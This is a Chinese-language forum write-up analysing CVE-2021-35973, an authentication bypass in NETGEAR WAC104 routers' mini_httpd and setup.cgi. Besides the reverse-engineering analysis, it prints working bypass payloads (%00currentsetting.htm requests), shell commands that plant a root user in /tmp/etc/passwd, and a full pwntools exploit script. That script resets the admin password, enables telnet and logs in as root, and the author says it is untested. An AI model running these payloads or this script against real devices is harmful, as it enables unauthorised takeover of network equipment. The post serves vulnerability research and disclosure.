问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2021-35973-IOT认证绕过分析
漏洞分析
IOT类漏洞,认证绕过分析
> WAC104 version < v1.0.4.15 [固件下载地址](https://www.netgear.com/support/product/wac104.aspx#download)下载相应版本即可。这里复现下载的是1.0.4.13版本的固件。 下载之后,把里面的img文件解包,就获得了文件系统。操作系统为32位mips小端。 0x00 漏洞分析 ========= httpd认证绕过 --------- > NETGEAR WAC104 devices before 1.0.4.15 are affected by an authentication bypass vulnerability in /usr/sbin/mini\_httpd, allowing an unauthenticated attacker to invoke any action by adding the &currentsetting.htm substring to the HTTP query 漏洞详情上说,在/usr/sbin/mini\_httpd上存在认证漏洞,添加一个`&curremtsetting.htm`即可未授权访问资源。 逆向分析一下mini\_httpd,本着假装不知道有漏洞的情况下,搜索字符串,定位到了一个熟悉的Basic(刚在某RCE看到这个认证选项),点开一看,果然是认证的界面。 ![Pasted image 20220809151409.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-4eaac620401f4662b27e7af40a95d17d16923d49.png) 然后追溯函数调用,最终得到调用链条 main -> sub\_407A28() -> sub\_406F24() -> sub\_4016CC() ![Pasted image 20220809152135.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-71a38365cfac37204b1501e551e81fde83dfdfc7.png) fork出来子进程执行,加上后面几个函数的内容,可能这就是处理http的开始了。进去之后,直接定位漏洞存在的位置。 然后就浅浅的逆向了一下这个mini\_httpd。 大致的看了一下,处理的过程和其余的httpd类似,头部处理和uri处理,这里有个特别的参数,漏洞细节显示,未授权访问漏洞就在这个地方,这个flag值,在三个地方被设置为1. ![Pasted image 20220809173603.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-6caead698380fab5695f54072d4f7bf959103891.png) 第一处,有SOAPAction头部字段的时候,设计的初衷应该是可以任意访问soap的xml内容。此处还有一个小型的溢出,通过while循环,获得service的时候,没有检查service的长度,只是用冒号作为结尾,导致了可以在bss段进行任意写。 ![Pasted image 20220809173710.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-8e7228b0814a849f6c0d503a71dbb4ddb8e4fd42.png) 第二处,有setupwizard.cgi的字段时,此时如果被置为1,则有个exit,只有第一次启动系统才能绕过,所以前面两处置1都不可以利用。最后一次不恰当的使用strstr函数, ![Pasted image 20220809173858.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-2d1a871babf159b568484f954093d222f9b3810d.png) 此处可以置1,本来是作为uri资源的,但是由于strstr没有00截断,而该httpd中又没有对00做校验,(虽然校验了..和/),这就导致了可以设置`/uri%00currentsetting.htm`来对任意资源越界访问。 ![Pasted image 20220809174130.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-0ab940b85cef68577b324cb1066d31377e5182c1.png) 且后续判断uri是否存在的时候,利用的大都是strlen等函数。 ![Pasted image 20220809175030.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-aee853aec48270091118688c0ec620fccff43887.png) 其中strlen被00截断了,stat64不知道,但是不是特别影响,因为uri长度就是由strlen来判断的。 > 大致逻辑懂了,资源调用的地方还没明白在哪里。 为了理清楚逻辑,检查了一下这个全局变量的交叉引用,然后找到了唯一一处判断。 ![Pasted image 20220810083929.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-b5ee863e00d8562169e21519185a0fb1c3be5993.png) 此处,如果为1,则进入if分支,其中的sub\_4062C0函数,检查wan之类的网络,一般都是返回True,所以此处,该函数直接返回了1。 而看向else分支,从`.htpasswd`文件中拿出数据,进行Basic验证,, ![Pasted image 20220810084123.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-b74dcb88631d273ef597cb18a851e0001373581b.png) ***basic***验证是一种http验证手段,可以在网上查到,其中特征比较明显的就是Basic字符串和base64解密。 看完上述代码就明白了,此处由于标志位的设定,直接返回了True,而不用通过下面的else身份验证,这就导致了未授权的访问出现。 `payload = b"GET /uri%00currentsetting.htm HTTP/1.1"` 这是GET类型的任意资源访问。 0x01 密码重置和保存 ============ 在httpd认证绕过的基础上,还有setup.cgi在利用httpd绕过的基础上存在非授权密码重置和保存。 setup.cgi中存在两个指令。 1. todo=save\_passwd 2. todo=con\_save\_passwd 第一条save,会校验old\_passwd,校验的方法是从`http_password`中获得就密码,该接口在web端中使用。校验完毕之后会把新的密码存入`http_password`(`http_password`是NVRAM中的键)和/etc/htpasswd文件中。 同时该请求需要带有id和sp两个会话认证的post参数。 第二条con\_save\_passwd,不需要旧密码,seebugs中描述如下 > The second one (con\_save\_passwd) however doesn't require the old password, and happily changes the NVRAM "http\_password" (only this one) to the provided one. > Example (incorporating the authentication bypass; this could be an XSRF from WAN as well): > GET /setup.cgi?todo=con\_save\_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1 > Host: aplogin 通过GET和Host的设置,可以直接设置NVRAM中存储的新密码。 做到这个之后,还需要做到把密码再写入/etc/passwd或/etc/htpasswd,这需要做一次系统的reboot或者使用第一条save接口。 这时候如果使用save接口,那么此时的http\_password已经被改为了设定的新密码,所以这个利用这个接口传递密码到/etc/htpasswd变得可行。 为了达到以上目的,需要一个POST下的可用session。 下面提供两个步骤,第一个就是发生在setup.cgi中的session绕过,且重写密码,第二个是利用现有的漏洞和权限管理机制,给拿到的shell提权。 sesstion 认证绕过 ------------- `setup.cgi`中,也有一个session id的绕过,该文件位于`/usr/sbin`目录下,可由httpd认证绕过成功在未登录的状态下访问该资源。这个可执行文件没有那么复杂,是一个CGI资源,其中的一些变量都来自环境变量,main函数中,通过`getenv`函数向环境变量中的字符串获取参数。 ![Pasted image 20220810093350.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-146719ab7348e2f9c013f4c789771255293bdf58.png) 首先main函数判断method是不是post,如果是post则进一步获得post传入的参数,然后判断sessionfile是否存在,存在则分别读出id和sp,其中sp就是`session_file`,`Sub_403F04`函数就是读取session的内容,如果和id一样,则通过验证,这里可以设置以下payload。 `id=0sp=ABC` 可以看一下sub\_403F04函数。 ```c int __fastcall sub_403F04(int a1) { int v1; // $v0 int v2; // $s0 int v4; // [sp+18h] [-8h] BYREF v4 = 0; v1 = fopen(a1, "r"); v2 = v1; if ( v1 ) { fscanf(v1, "%x", &v4); fclose(v2); } return v4; } ``` 默认返回是0,如果打开a1失败,则返回0,所以设置sp为一个不存在的文件,即可返回0,此时再设置id为0,就达到了绕过验证的目的。 这是POST类型的认证绕过,可以执行setup.cgi的一些动作。 然后执行 `setup.cgi?todo=reboot`或则save就可以实现更改密码了。 getshell和提权 ----------- 同样的通过`setup.cgi?todo=debug`可以开启telnet端口反弹shell出来,但是拿到的仅仅是用户权限,在参考资料中提供一种方式,把新建的root权限用户密码写入/tmp/etc/passwd ```c To elevate privileges to root it's enough to run the following commands: cd /tmp/etc cp passwd passwdx echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx mv passwd old_passwd mv passwdx passwd The commands above abuse the fact that: 1. /etc/ points to /tmp/etc 2. /tmp/etc/ directory has permissions set to 777 (rwxrwxrwx). ``` 拿原版改了一个pwntools版本的,socket脚本实在是看着不舒服,没有设备,下面的poc还没测试过,想看原版poc的直接去下面的参考链接即可。还没拿到设备,qemu启环境起不来,patch了几个地方还是起不来,有了设备再调试下poc exp ```python from pwn import * import telnetlib from time import sleep context.log_level = 'debug' IP = "" PORT = 80 def action(data): p = remote(IP,PORT) p.send(data) sleep(3) p.recv() p.close() def reset_session_state_or_sth(): action( b'\r\n'.join([ b"GET /401_access_denied.htm HTTP/1.5", b"Host: aplogin", b"", b"" ]) ) def enable_debug_mode(): action( b'\r\n'.join([ b"GET /setup.cgi?todo=debug%00currentsetting.htm HTTP/1.5", b"Host: aplogin", b"", b"" ]) ) def change_nvram_password(new_password): new_password = bytes(new_password, "utf-8") action( b'\r\n'.join([ ( b"GET /setup.cgi?todo=con_save_passwd&" b"sysNewPasswd=%s&sysConfirmPasswd=%s" b"%%00currentsetting.htm HTTP/1.5" ) % (new_password, new_password), b"Host: aplogin", b"", b"" ]) ) def reboot(): action( b'\r\n'.join([ b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1", b"Host: aplogin", b"Content-Length: 11", b"Content-Type: application/x-www-form-urlencoded", b"", b"todo=reboot" ]) ) def change_password_full(old_password, new_password): old_password = bytes(old_password, "utf-8") new_password = bytes(new_password, "utf-8") post_body = ( b"sysOldPasswd=%s&sysNewPasswd=%s&sysConfirmPasswd=%s&" b"question1=1&answer1=a&question2=1&answer2=a&" b"todo=save_passwd&" b"this_file=PWD_password.htm&" b"next_file=PWD_password.htm&" b"SID=&h_enable_recovery=disable&" b"h_question1=1&h_question2=1" ) % (old_password, new_password, new_password) action( b'\r\n'.join([ b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1", b"Host: aplogin", b"Content-Length: %i" % len(post_body), b"Content-Type: application/x-www-form-urlencoded", b"", post_body ]) ) def add_root_user(password): p = remote(IP,23) t = telnetlib.Telnet() t.sock = p print(str(t.read_until(b"WAC104 login: "), "cp852")) t.write(b"admin\n") print(str(t.read_until(b"Password: "), "cp852")) t.write(bytes(password, "utf-8") + b"\n") print(str(t.read_until(b"$ "), "cp852")) # Adds root user named "toor" with password "AlaMaKota1234". t.write( b"cd /tmp/etc\n" b"cp passwd passwdx\n" b"echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx\n" b"mv passwd old_passwd\n" b"mv passwdx passwd\n" b"echo DONEMARKER\n" ) print(str(t.read_until(b"DONEMARKER"), "cp852")) t.close() def connect_as_root(): p = remote(IP,23) t = telnetlib.Telnet() t.sock = p print(str(t.read_until(b"WAC104 login: "), "cp852")) t.write(b"toor\n") print(str(t.read_until(b"Password: "), "cp852")) t.write(b"AlaMaKota1234\n") t.interact() t.close() print(("-" * 70) + " RESET SESSION STATE") reset_session_state_or_sth() print(("-" * 70) + " CHANGE NVRAM PASSWORD") change_nvram_password(TEMP_PASSWORD) print(("-" * 70) + " CHANGE FULL PASSWORD") change_password_full(TEMP_PASSWORD, NEW_PASSWORD) print( f"\n" f"From now you can login to the web interface using these credentials:\n" f" admin / {NEW_PASSWORD}\n" f"\n" f"Press CTRL+C to stop here. Otherwise press ENTER to reboot the router, " f"enable telnetd, and run privilege escalation exploit.\n" ) input() print(("-" * 70) + " RESET SESSION STATE") reset_session_state_or_sth() print(("-" * 70) + " REBOOT") reboot() print( "\n" "Wait a few minutes for the device to restart and press ENTER to continue.\n" ) input() print(("-" * 70) + " ENABLE DEBUG MODE") enable_debug_mode() print(("-" * 70) + " WAITING 10 SECONDS FOR TELNETD") time.sleep(10) print(("-" * 70) + " TRYING TO GET ROOT") for i in range(5): try: add_root_user(NEW_PASSWORD) break except socket.ConnectionRefusedError: print("Sleeping 5 more seconds...") time.sleep(5) print( "\n" "In the future you can connect as root using these credentials:\n" " toor / AlaMaKota1234\n" "\n" ) print(("-" * 70) + " CONNECTING TO TELNETD AS ROOT") connect_as_root() ``` 0x02 PSV-2021-0133 ================== 这也是类似的绕过漏洞,同样出现在NETGEAR中。 参考链接:<https://ssd-disclosure.com/ssd-advisory-netgear-d7000-authentication-bypass/> 这里给个简介就行了,原理其实类似,不做过多记录。 ```c LAB_000104f8: DAT_0001d4ec_needs_auth = 0; DAT_0001f24c = 0; } pcVar4 = (char *)FUN_0000b8f0(1); iVar3 = strcasecmp(pcVar5,pcVar4); if ((iVar3 == 0) && (pcVar6 = strstr(DAT_0001f330,"todo=PNPX_GetShareFolderList"), pcVar6 != (char *)0x0)) { DAT_0001d4ec_needs_auth = 0; } ``` 其中`todo=PNPX_GetShareFolderList`使用strstr确定,所以同样的办法可以置flag为1,免去认证,进行任意资源访问。 0x03 思考 ======= 这类漏洞,存在的原因,可能是,有一类资源,他们的数据无关紧要,甚至是专门开放给用户的,设计者设计httpd这个项目的时候,考虑到这类资源可能会处于一个增长状态或者过多,静态添加起来复杂,所以设计了一些flag位,这些位置被常常置于请求头,或者一些别的地方,在资源请求之前,身份验证之前做一道验证,即可免去认证。 但是在实现上,使用了strstr函数,和一些别的函数,(可称为弱限制条件搜索函数),这些函数某种程度上减弱了对攻击者数据包的限制条件,导致了绕过认证的出现。 而其中的session字段绕过,可以说是纯纯的代码上的习惯,习惯性的return 0,可能在文件打开的时候,文件不存在直接抛出错误可能好一点。 strstr导致的类似漏洞还有 **CVE-2020-15633 CVE-2019-17137** 0x04 参考 ======= <https://www.seebug.org/vuldb/ssvid-99295>
发表于 2022-08-15 09:33:14
阅读 ( 6044 )
分类:
漏洞分析
3 推荐
收藏
0 条评论
请先
登录
后评论
就叫16385吧
11 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!